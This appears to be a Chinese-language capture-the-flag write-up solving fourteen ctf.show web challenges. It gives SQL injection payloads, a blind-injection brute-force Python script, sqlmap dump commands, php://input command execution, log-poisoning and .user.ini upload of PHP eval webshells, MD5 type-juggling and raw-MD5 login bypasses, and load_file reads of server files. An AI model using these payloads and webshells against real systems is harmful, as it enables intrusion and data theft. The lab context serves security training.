web签到
查看源代码解码即可
web2
SQL注入,我之前是没遇到这种格式的长了新姿势
' or 1=1 union select 1,database(),3 limit 1,2;#
' or 1=1 union select 1,(select table_name from information_schema.tables where table_schema='web2' limit 0,1),3 limit 1,2;#
' or 1=1 union select 1,(select column_name from information_schema.columns where table_name ='flag' limit 0,1),3 limit 1,2;#
' or 1=1 union select 1,(select flag from flag),3 limit 1,2;#
web3
php伪协议,不知道flag文件所以不能用
php://filter/read=convert.base64-encode/resource=flag.php
用输入流php://input
然后POST 传参
<?=system('cat c*');?>
web4
?file=/var/log/nginx/access.log
日志文件包含改UA头
为小马
<?=eval($_POST[1]);?>
antsword
链接,免得去上级目录找
web5
<?php
$flag="";
$v1=$_GET['v1'];
$v2=$_GET['v2'];
if(isset($v1) && isset($v2)){
if(!ctype_alpha($v1)){
die("v1 error");
}
if(!is_numeric($v2)){
die("v2 error");
}
if(md5($v1)==md5($v2)){
echo $flag;
}
}else{
echo "where is flag?";
}
?>
v1必须为字母v2必须为数字
?v1=QNKCDZO&v2=240610708
web6
or和空格被过滤
sqlmap -u https://82548fa4-52ed-4d0a-ad72-c8c2585fd291.challenge.ctf.show/index.php?id=1 --tamper=space2comment --data="username=1&password=1" -D web2 -T flag -C flag --dump
我想手注的,但是不知道为什么没有回显了只能sqlmap了
web7
先扫的后台没啥用
发现这个页面像sql注入
可以手注空格绕过,但是我的还是没有回显
sqlmap -u https://7f5914a5-e5d9-465a-aca7-43152dcc8bea.challenge.ctf.show/index.php?id=3 --data="username=1&password=1" --tamper=space2comment -D web7 -T flag --dump
web8
import requests
url = 'http://ff2620fd-933a-4a76-bdbf-b814f4afabe3.challenge.ctf.show/index.php?id=3/**/or/**/'
name = ''
# 循环45次( 循环次数按照返回的字符串长度自定义)
for i in range(1, 45):
# 获取当前使用的数据库
# payload = 'ascii(substr(database()from/**/%d/**/for/**/1))=%d'
# 获取当前数据库的所有表
# payload = 'ascii(substr((select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database())from/**/%d/**/for/**/1))=%d'
# 获取flag表的字段
# payload = 'ascii(substr((select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name=0x666C6167)from/**/%d/**/for/**/1))=%d'
# 获取flag表的数据
payload = 'ascii(substr((select/**/flag/**/from/**/flag)from/**/%d/**/for/**/1))=%d'
count = 0
print('正在获取第 %d 个字符' % i)
# 截取SQL查询结果的每个字符, 并判断字符内容
for j in range(31, 128):
result = requests.get(url + payload % (i, j))
if 'If' in result.text:
name += chr(j)
print('数据库名/表名/字段名/数据: %s' % name)
break
# 如果某个字符不存在,则停止程序
count += 1
if count >= (128 - 31):
exit()
web9
这道题我很熟悉但是一时半会想不起来了
扫后台
对于函数md5(string,raw)
第二个参数有以下可选项:
TRUE - 原始 16 字符二进制格式
FALSE - 默认。32 字符十六进制数
<?php
$flag="";
$password=$_POST['password'];
if(strlen($password)>10){
die("password error");
}
$sql="select * from user where username ='admin' and password ='".md5($password,true)."'";
$result=mysqli_query($con,$sql);
if(mysqli_num_rows($result)>0){
while($row=mysqli_fetch_assoc($result)){
echo "登陆成功<br>";
echo $flag;
}
}
?>
那么我们就需要用特殊的密码
ffifdyop //之前遇到过但是忘了在哪里了,也是验证管理员身份
129581926211651571912466741651878684928
理论上这两个都行但是由于限制了10位
这样子就能在转化二进制的时候有'or' xxxx
那么
password ='or' xxxx'
刚好闭合,管理员身份就过了
web10
<?php
$flag="";
function replaceSpecialChar($strParam){
$regex = "/(select|from|where|join|sleep|and|\s|union|,)/i";
return preg_replace($regex,"",$strParam);
}
if (!$con)
{
die('Could not connect: ' . mysqli_error());
}
if(strlen($username)!=strlen(replaceSpecialChar($username))){
die("sql inject error");
}
if(strlen($password)!=strlen(replaceSpecialChar($password))){
die("sql inject error");
}
$sql="select * from user where username = '$username'";
$result=mysqli_query($con,$sql);
if(mysqli_num_rows($result)>0){
while($row=mysqli_fetch_assoc($result)){
if($password==$row['password']){
echo "登陆成功<br>";
echo $flag;
}
}
}
?>
我们并不知道密码,这里用with rollup
绕过
引用一个师傅的话:
with rollup: 要配合 group by 一块儿使用,
”group by password with rollup”,
简单说一下,就是使用with rollup 查询以后,查询结果集合里面会多一条NULL 记录,
这一题利用NULL 和空字符相等,而后获得flag。
所以我们就是要通过with rollup使sql语句查询结果为null,
然后不输入password使password为null
'or/**/1=1/**/group/**/by/**/password/**/with/**/rollup#
web11
<?php
function replaceSpecialChar($strParam){
$regex = "/(select|from|where|join|sleep|and|\s|union|,)/i";
return preg_replace($regex,"",$strParam);
}
if(strlen($password)!=strlen(replaceSpecialChar($password))){
die("sql inject error");
}
if($password==$_SESSION['password']){
echo $flag;
}else{
echo "error";
}
?>
我们只要session也为空即可
web12
查看源码发现提示
本来是想直接命令执行的,发现过滤了就用这个来看目录
?cmd=print_r(scandir('./'));
?cmd=show_source('903c00105c0141fd37ff47697e916e53616e33a72fb3774ab213b3e2a732f56f.php');
web13
并没有说啥
上传一个png文件
回显是成功了但是利用不上
这里就是用.user.ini
文件来处理
auto_prepend_file=1.txt
通过备份文件查看源码
upload.php.bak
<?php
header("content-type:text/html;charset=utf-8");
$filename = $_FILES['file']['name'];
$temp_name = $_FILES['file']['tmp_name'];
$size = $_FILES['file']['size'];
$error = $_FILES['file']['error'];
$arr = pathinfo($filename);
$ext_suffix = $arr['extension'];
if ($size > 24){
die("error file zise");
}
if (strlen($filename)>9){
die("error file name");
}
if(strlen($ext_suffix)>3){
die("error suffix");
}
if(preg_match("/php/i",$ext_suffix)){
die("error suffix");
}
if(preg_match("/php/i"),$filename)){
die("error file name");
}
if (move_uploaded_file($temp_name, './'.$filename)){
echo "文件上传成功!";
}else{
echo "文件上传失败!";
}
?>
查看源码原来我们的木马太长了
<?php eval($_GET['a']);
web14
<?php
include("secret.php");
if(isset($_GET['c'])){
$c = intval($_GET['c']);
sleep($c);
switch ($c) {
case 1:
echo '$url';
break;
case 2:
echo '@A@';
break;
case 555555:
echo $url;
case 44444:
echo "@A@";
break;
case 3333:
echo $url;
break;
case 222:
echo '@A@';
break;
case 222:
echo '@A@';
break;
case 3333:
echo $url;
break;
case 44444:
echo '@A@';
case 555555:
echo $url;
break;
case 3:
echo '@A@';
case 6000000:
echo "$url";
case 1:
echo '@A@';
break;
}
}
highlight_file(__FILE__);
要让回显有用的东西我们不可能回显几万,靶机都没了,所有挨着试
?c=3 获得here_1s_your_f1ag.php
访问F12获得查询语句
if(preg_match('/information_schema\.tables|information_schema\.columns|linestring| |polygon/is', $_GET['query'])){
die('@A@');
}
显然我们不能用正常的SQL注入了
虽然有mysql.innodb_table_stats和mysql.innodb_index_stats来代替但是别忘了我们前面有一个secret.php没用呢
?query=-1/**/union/**/select/**/load_file('/var/www/html/secret.php')
我先还在上面的payload直接加的但是错了,然后必须-1才能注入成功
?query=-1/**/union/**/select/**/load_file('/real_flag_is_here')